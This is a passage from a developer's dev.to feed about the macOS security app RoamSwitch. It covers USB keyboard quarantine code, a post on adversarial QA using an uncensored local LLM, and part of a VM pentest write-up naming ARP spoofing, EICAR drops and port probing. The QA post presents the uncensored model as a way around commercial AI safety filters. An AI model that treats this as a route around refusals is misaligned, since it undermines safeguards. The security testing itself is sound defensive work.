    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lowercased&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"spi"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;transport&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lowercased&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"fifo"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="c1"&gt;// Apple Vendor ID (0x05ac) internal assemblies&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;vendorId&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0x05ac&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lowerName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"top case"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="n"&gt;lowerName&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;contains&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"keyboard"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By guaranteeing that internal SPI/FIFO keyboards are permanently whitelisted on boot, the user can always interact with the approval modal and their Mac, while the external rogue device stays trapped in the quarantine box.&lt;/p&gt;




&lt;h2&gt;
  
  
  What About Flash Drives?
&lt;/h2&gt;

&lt;p&gt;Keystroke injection is only half of the physical port problem. The other half is someone plugging in an unauthorized USB flash drive to copy files or drop binaries while you're grabbing coffee.&lt;/p&gt;

&lt;p&gt;In RoamSwitch, we paired this with a volume guard that listens to &lt;code&gt;NSWorkspace&lt;/code&gt; mount notifications. Any external mass-storage drive that isn't on the trusted UUID whitelist is instantly unmounted and ejected before macOS finishes indexing it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Physical Blind Spot
&lt;/h2&gt;

&lt;p&gt;We spend enormous engineering effort hardening network boundaries—configuring packet filter firewalls, locking down open ports, and rotating credentials.&lt;/p&gt;

&lt;p&gt;Yet across all operating systems, the USB port remains a direct, unauthenticated pipeline straight into the user session. &lt;/p&gt;

&lt;p&gt;Treating newly attached physical HID devices as untrusted by default isn't paranoia—it's just applying the same zero-trust philosophy we use on the network to the hardware ports sitting on the side of our laptops.&lt;/p&gt;

</description>
      <category>macos</category>
      <category>security</category>
      <category>swift</category>
      <category>hardware</category>
    </item>
    <item>
      <title>How I Used an Uncensored Local LLM for Adversarial QA on My macOS App</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sun, 30 Aug 2026 20:08:03 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/how-i-used-an-uncensored-local-llm-for-adversarial-qa-on-my-macos-app-18cj</link>
      <guid>https://dev.to/lafine_systemsdesign/how-i-used-an-uncensored-local-llm-for-adversarial-qa-on-my-macos-app-18cj</guid>
      <description>&lt;p&gt;When you build a security app as a solo developer, the hardest engineering problem isn't writing the defense code — it's &lt;strong&gt;QA and resilience testing&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Security software operates under a bizarre constraint: &lt;em&gt;nothing happening&lt;/em&gt; is the normal state. The software only does its job when something hostile or anomalous occurs.&lt;/p&gt;

&lt;p&gt;The trouble is, when you write your own test scripts, you subconsciously test what you expect. You launch a test server, watch the port get blocked, nod, and mark it green. But real attackers and weird production environments don't follow the developer's script. They poke at edge cases, state machine bugs, and race conditions between subsystems.&lt;/p&gt;

&lt;p&gt;To break my own bias, I set up a local uncensored model (&lt;strong&gt;&lt;code&gt;qwen3.8-27b-uncensored&lt;/code&gt;&lt;/strong&gt;) running locally on my Mac via OpenCode as a dedicated &lt;strong&gt;Adversarial QA Tester&lt;/strong&gt;, pointed it at a disposable macOS VM (&lt;a href="https://tart.run/" rel="noopener noreferrer"&gt;Tart&lt;/a&gt;), and told it to find holes in my app, &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Here is what that stress test surfaced, the edge cases it broke, and how I fixed them.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Why an uncensored local LLM for QA?
&lt;/h2&gt;

&lt;p&gt;If you ask a commercial cloud LLM to write live packet-injection scripts or craft ransomware-like file tampering patterns, safety filters will reject the prompt.&lt;/p&gt;

&lt;p&gt;In defensive QA, though, you &lt;em&gt;need&lt;/em&gt; real hostile traffic and weird filesystem operations to verify fail-closed behavior.&lt;/p&gt;

&lt;p&gt;Running an uncensored model locally on my Mac meant I could run unrestricted automated stress tests: continuous Scapy ARP injection, deceptive dotfile placement, and multi-port backdoor attempts directly against the target VM.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;graph LR
    subgraph Host["Host Mac (Adversarial QA Runner)"]
        LLM["Local LLM (Qwen 27B uncensored)&amp;lt;br/&amp;gt;via OpenCode"]
        Payloads["Dynamic Stress Test Suite&amp;lt;br/&amp;gt;(Scapy / ARP / EICAR / kqueue)"]
        LLM --&amp;gt; Payloads
    end

    subgraph VM["Target macOS VM (Tart)"]
        RS["RoamSwitch (Defense Engine)"]
        Engine["・pf packet filtering&amp;lt;br/&amp;gt;・PortAnomalyGuard&amp;lt;br/&amp;gt;・ClamAV real-time quarantine&amp;lt;br/&amp;gt;・RansomwareCanaryGuard"]
        RS --- Engine
    end

    Payloads --&amp;gt;|"1. ARP Reply flooding (MitM)"| VM
    Payloads --&amp;gt;|"2. 0.0.0.0 Backdoor listeners"| VM
    Payloads --&amp;gt;|"3. Quarantine evasion payloads"| VM
    Payloads --&amp;gt;|"4. Canary decoy tampering"| VM&lt;/code&gt;&lt;/pre&gt;






&lt;h2&gt;
  
  
  2. Three subtle edge cases the QA suite caught (v1.5.5)
&lt;/h2&gt;

&lt;p&gt;Here are three real architectural edge cases that standard happy-path unit tests missed.&lt;/p&gt;




&lt;h3&gt;
  
  
  1. Flagging a binary on one port implicitly trusted it on all other ports
&lt;/h3&gt;

&lt;p&gt;RoamSwitch has a feature called &lt;strong&gt;PortAnomalyGuard&lt;/strong&gt; that catches processes binding to &lt;code&gt;0.0.0.0&lt;/code&gt; and immediately blocks inbound traffic via macOS's packet filter (&lt;code&gt;pf&lt;/code&gt;).&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The test launched an HTTP server on port &lt;code&gt;8765&lt;/code&gt; with Homebrew Python (&lt;code&gt;python3 -m http.server 8765 --bind 0.0.0.0&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;RoamSwitch flagged port &lt;code&gt;8765&lt;/code&gt; and injected a &lt;code&gt;pf&lt;/code&gt; drop rule.&lt;/li&gt;
&lt;li&gt;In follow-up testing, the runner launched a second listener on port &lt;code&gt;9877&lt;/code&gt; using the &lt;strong&gt;same Python binary&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;The result: The second listener on port 9877 was NOT blocked.&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Root Cause&lt;/strong&gt;:
To prevent duplicate alert spam, &lt;code&gt;PortAnomalyGuard.evaluate()&lt;/code&gt; automatically added flagged binaries to &lt;code&gt;KnownExecutablesV2&lt;/code&gt; by binary name alone (&lt;code&gt;"Python"&lt;/code&gt;). The second listener on port 9877 saw &lt;code&gt;"Python"&lt;/code&gt; already in the known set and skipped inspection entirely.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The Fix (v1.6.2)&lt;/strong&gt;:
Generic script interpreters (Python, Node.js, Ruby, Netcat, Bash) are now strictly scoped to &lt;strong&gt;&lt;code&gt;executablePath:port&lt;/code&gt;&lt;/strong&gt; (e.g., &lt;code&gt;/opt/homebrew/bin/python3:8765&lt;/code&gt;). Flagging port 8765 gives zero trust to port 9877. A startup migration purges legacy port-less records.&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. Duplicate filenames broke ClamAV quarantine and left malware alive
&lt;/h3&gt;

&lt;p&gt;RoamSwitch watches &lt;code&gt;Downloads&lt;/code&gt;, &lt;code&gt;Desktop&lt;/code&gt;, and &lt;code&gt;Documents&lt;/code&gt; with FSEvents and scans new files with ClamAV, moving threats to &lt;code&gt;~/Library/Application Support/RoamSwitch/Quarantine&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The test dropped 4 tricky variations of the EICAR test string:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hidden dotfiles (&lt;code&gt;.hidden_eicar.txt&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Incomplete download extensions (&lt;code&gt;malware.tmp&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Terminal copies lacking &lt;code&gt;com.apple.quarantine&lt;/code&gt; attributes (&lt;code&gt;copied_eicar.txt&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Standard downloads (&lt;code&gt;normal_eicar.txt&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;All 4 were caught and isolated. But then the test ran a &lt;strong&gt;collision test&lt;/strong&gt;: dropping the exact same malware filenames a second time.&lt;/p&gt;

&lt;p&gt;Because files with those exact names already existed in Quarantine, ClamAV's &lt;code&gt;--move&lt;/code&gt; failed with an error. &lt;strong&gt;The new malware was left completely ALIVE in the user's Downloads folder.&lt;/strong&gt; Quarantined files were also left at normal &lt;code&gt;0644&lt;/code&gt; permissions.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Fix (v1.6.0–v1.6.3)&lt;/strong&gt;:

&lt;ol&gt;
&lt;li&gt;If an identically named file already exists in Quarantine, RoamSwitch catches the collision and moves it under a timestamped unique name (&lt;code&gt;malware_1725068200.tmp&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Upon isolation, it immediately applies &lt;code&gt;chmod 000&lt;/code&gt; (&lt;code&gt;posixPermissions: 0o000&lt;/code&gt;), physically stripping read and execute permissions.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. Missing canaries were prematurely regenerated on app restart
&lt;/h3&gt;

&lt;p&gt;RoamSwitch places decoy canary files in target directories and monitors them with &lt;code&gt;kqueue&lt;/code&gt; (&lt;code&gt;DispatchSource&lt;/code&gt;). Any unauthorized tampering or renaming triggers an immediate &lt;strong&gt;Air-Gap containment (&lt;code&gt;block drop all&lt;/code&gt;)&lt;/strong&gt; and terminates suspicious processes.&lt;/p&gt;

&lt;p&gt;Renaming a canary to &lt;code&gt;/tmp/stolen_canary.xlsx&lt;/code&gt; triggered Air-Gap in milliseconds.&lt;/p&gt;

&lt;p&gt;However, the post-test QA review caught a lifecycle issue:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;"When the app restarts, &lt;code&gt;setupCanaryBait()&lt;/code&gt; sees the decoy is missing and automatically creates a new one. If an attacker modified a canary and forced an app relaunch, the altered file would become the new baseline hash."&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Fix (v1.6.4)&lt;/strong&gt;:

&lt;ol&gt;
&lt;li&gt;All expected canary SHA-256 hashes are &lt;strong&gt;persisted to disk (&lt;code&gt;UserDefaults&lt;/code&gt;)&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Routine app launches no longer recreate missing files; they preserve the violation against the recorded baseline.&lt;/li&gt;
&lt;li&gt;Self-healing regeneration from clean embedded templates only runs when the user explicitly clicks "Release Emergency Containment" in the UI.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  3. Verified QA Results (v1.6.4)
&lt;/h2&gt;

&lt;p&gt;After applying these fixes in v1.6.0 through v1.6.4, I re-ran the full test suite across all 7 defense domains:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Defense Domain&lt;/th&gt;
&lt;th&gt;Stress Scenario&lt;/th&gt;
&lt;th&gt;v1.5.5 (Initial)&lt;/th&gt;
&lt;th&gt;v1.6.4 (Final)&lt;/th&gt;
&lt;th&gt;Verdict&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T1&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ARP Spoofing Auto-Containment&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Injected rogue gateway ARP replies via Scapy&lt;/td&gt;
&lt;td&gt;✅ Air-Gap triggered&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Air-Gap triggered&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PASS&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Unknown Port Auto-Isolation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Multi-port backdoor listeners on 0.0.0.0&lt;/td&gt;
&lt;td&gt;❌ Secondary port bypassed&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;&lt;code&gt;path:port&lt;/code&gt; strictly isolated&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FIXED&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;ClamAV Download Quarantine&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;4 placement vectors + collision re-tests&lt;/td&gt;
&lt;td&gt;⚠️ Move failed on collision (ALIVE)&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Unique rename &amp;amp; &lt;code&gt;chmod 000&lt;/code&gt;&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FIXED&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Ransomware Canary Bait&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Decoy tampering &amp;amp; baseline reset tests&lt;/td&gt;
&lt;td&gt;⚠️ Premature file recreation&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Air-Gap &amp;amp; Baseline persisted&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FIXED&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T5&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Helper XPC Boundary&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Unsigned binary connecting to Mach service&lt;/td&gt;
&lt;td&gt;✅ Rejected by Team ID check&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Strict check maintained&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PASS&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T6&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;DNS Threat Protection Guard&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Untrusted network DNS hijacking&lt;/td&gt;
&lt;td&gt;✅ Quad9 Secure DNS enforced&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Secure DNS maintained&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;PASS&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;T7&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Air-Gap State Hygiene&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Post-release timestamp file inspection&lt;/td&gt;
&lt;td&gt;⚠️ Timestamp file lingered&lt;/td&gt;
&lt;td&gt;✅ &lt;strong&gt;Clean unlink on release&lt;/strong&gt;
&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;FIXED&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;A full TCP SYN port scan (&lt;code&gt;nmap -Pn -sS&lt;/code&gt;) across all 65,535 ports confirmed complete stealth isolation (&lt;code&gt;filtered (no-response)&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Takeaways for solo QA
&lt;/h2&gt;

&lt;p&gt;Using an uncensored local model for adversarial testing gave me a practical way to run enterprise-grade stress tests on my own:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Breaks Developer Bias&lt;/strong&gt;: The model doesn't care about your code structure; it tests the awkward seam between features.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fast and Private&lt;/strong&gt;: Running locally on a Mac against a local VM meant I could run aggressive tests without cloud rate limits or safety filter blocks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Resilience over Green Builds&lt;/strong&gt;: Real software quality isn't about passing the tests you wrote for yourself — it's about holding up when something hostile tries to break your assumptions.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The full reproduction procedures, scripts, and verified audit reports are open source:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Penetration Test Report (GitHub)&lt;/strong&gt;:
&lt;a href="https://github.com/lafine1211/roamswitch-support/blob/main/audit/RESULTS-PENTEST-2026-08-31.md" rel="noopener noreferrer"&gt;https://github.com/lafine1211/roamswitch-support/blob/main/audit/RESULTS-PENTEST-2026-08-31.md&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Security Whitepaper&lt;/strong&gt;:
&lt;a href="https://lafine.net/security.en.html" rel="noopener noreferrer"&gt;https://lafine.net/security.en.html&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;RoamSwitch Homepage&lt;/strong&gt;:
&lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;https://lafine.net/&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>macos</category>
      <category>security</category>
      <category>testing</category>
      <category>ai</category>
    </item>
    <item>
      <title>Hacking My Own Mac App: Penetration Testing macOS Defense Boundaries in a VM</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Sun, 30 Aug 2026 15:19:49 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/hacking-my-own-mac-app-penetration-testing-macos-defense-boundaries-in-a-vm-ki9</link>
      <guid>https://dev.to/lafine_systemsdesign/hacking-my-own-mac-app-penetration-testing-macos-defense-boundaries-in-a-vm-ki9</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://zenn.dev/lafine/articles/fb43df23ba9b6f" rel="noopener noreferrer"&gt;on Zenn&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I build and sell a macOS network-security menu bar app called &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In a &lt;a href="//04_lan_attack_test.md"&gt;previous post&lt;/a&gt;, I wrote about attacking my own Mac from an Arch Linux box on the same LAN to see how it handled basic reconnaissance and rogue device probes.&lt;/p&gt;

&lt;p&gt;Since then, as I kept adding features and refactoring, a nagging question kept resurfacing: &lt;em&gt;Are we introducing regressions? Is our privileged helper still watertight? Did a recent update accidentally punch a hole in our packet filter rules?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Manually poking at firewalls on every release is tedious and risky—messing with Packet Filter (&lt;code&gt;pf&lt;/code&gt;) and root LaunchDaemons on your primary dev machine is a great way to accidentally drop your own network connection.&lt;/p&gt;

&lt;p&gt;So, to be absolutely thorough, I set up a repeatable, automated pentest suite inside a disposable macOS virtual machine on a Mac (using &lt;a href="https://tart.run/" rel="noopener noreferrer"&gt;Tart&lt;/a&gt;) to rigorously probe all 5 defense boundaries from the outside.&lt;/p&gt;

&lt;p&gt;Here is how the test harness works and what the logs showed when I attacked it.&lt;/p&gt;




&lt;h2&gt;
  
  
  Test Architecture: Host Mac ⇄ Target Guest VM
&lt;/h2&gt;

&lt;p&gt;Running destructive firewall tests or killing root helpers on your daily driver is stressful.&lt;/p&gt;

&lt;p&gt;Instead, I used &lt;strong&gt;&lt;a href="https://tart.run/" rel="noopener noreferrer"&gt;Tart&lt;/a&gt;&lt;/strong&gt;, a lightweight macOS virtualization tool, to spin up a clean macOS Sonoma guest VM as the &lt;strong&gt;Target&lt;/strong&gt;, with the Host machine acting as the &lt;strong&gt;Attacker&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+------------------------------------+          +-----------------------------------------+
|          Host Mac (Attacker)       |          |         macOS VM (Target Guest)         |
|  - Inbound Port Probing (nc/nmap)  |  -----&amp;gt;  |  - RoamSwitch 1.4.8 (Defense Engine)    |
|  - Unauthorized HTTP Probing (curl)| Virtual  |  - Root Privileged Helper               |
|  - Rogue ARP Spoofing (scapy)      | Bridge   |  - Packet Filter (pf) Ruleset Anchor    |
+------------------------------------+          +-----------------------------------------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The 5 Defense Boundaries Tested
&lt;/h2&gt;



&lt;pre data-lang="mermaid"&gt;&lt;code&gt;graph TD
    A[Automated Defense Suite] --&amp;gt; B[1. XPC Authorization Boundary (§3)]
    A --&amp;gt; C[2. pf Ruleset &amp;amp; Air-Gap Precedence (§4, §5)]
    A --&amp;gt; D[3. Port Anomaly &amp;amp; Global Exposure (§6)]
    A --&amp;gt; E[4. MCP Read-Only Invariant &amp;amp; Fuzzing (§8)]
    A --&amp;gt; F[5. ARP Gateway Consistency (§11)]&lt;/code&gt;&lt;/pre&gt;



&lt;h3&gt;
  
  
  1. Privileged Helper XPC Boundary (§3)
&lt;/h3&gt;

&lt;p&gt;The privileged helper (&lt;code&gt;com.tetsuharu.RoamSwitch.Helper&lt;/code&gt;) runs as &lt;code&gt;root&lt;/code&gt;. If an unapproved local process can send Mach messages to it, that's an instant root privilege escalation.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Test&lt;/strong&gt;: Dynamically compiled an unsigned (ad-hoc) Swift probe binary lacking my Apple Developer Team ID and attempted calling &lt;code&gt;enableAirGap&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attempting XPC connection from unauthorized client to /Library/PrivilegedHelperTools/...
REJECTED: Helper rejected unauthorized client as expected.
[PASS] Privileged helper correctly rejected unauthorized XPC caller
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;The helper's &lt;code&gt;ClientValidator&lt;/code&gt; inspected &lt;code&gt;NSXPCConnection.audit_token&lt;/code&gt; and immediately severed the connection.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  2. Packet Filter (pf) Ruleset Priority &amp;amp; Air-Gap Containment (§4, §5)
&lt;/h3&gt;

&lt;p&gt;Verifies that when emergency Air-Gap containment is engaged, &lt;code&gt;block drop all&lt;/code&gt; strictly takes precedence over any open user port rules (Fail-Closed).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Test&lt;/strong&gt;: Dumped active &lt;code&gt;pfctl&lt;/code&gt; anchor hierarchies and verified loopback (&lt;code&gt;127.0.0.1&lt;/code&gt;) policy responsiveness while external egress was 100% dropped.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Result&lt;/strong&gt;: &lt;code&gt;[PASS] pf ruleset anchor structure verified&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  3. Port Anomaly Guard &amp;amp; Exposure Detection (§6)
&lt;/h3&gt;

&lt;p&gt;When a developer accidentally starts a local server bound to &lt;code&gt;0.0.0.0&lt;/code&gt; (all interfaces), RoamSwitch should detect it and shield external access without breaking localhost (&lt;code&gt;127.0.0.1&lt;/code&gt;).&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;Test&lt;/strong&gt;: Spawned &lt;code&gt;0.0.0.0:18888&lt;/code&gt; and &lt;code&gt;127.0.0.1:18889&lt;/code&gt; simultaneously, querying the diagnostic engine.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Result (MCP Diagnostics Output)&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"port"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;18888&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"processName"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Python"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isGloballyExposed"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"isFirewallShielded"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"overallRisk"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"warning"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"findings"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"title"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"0.0.0.0 Binding (All LAN Exposure)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"description"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Process is listening on 0.0.0.0 (all interfaces). While shielded by RoamSwitch firewall, consider binding to localhost."&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4. MCP Server Read-Only Invariant &amp;amp; Parser Fuzzing (§8)
&lt;/h3&gt;

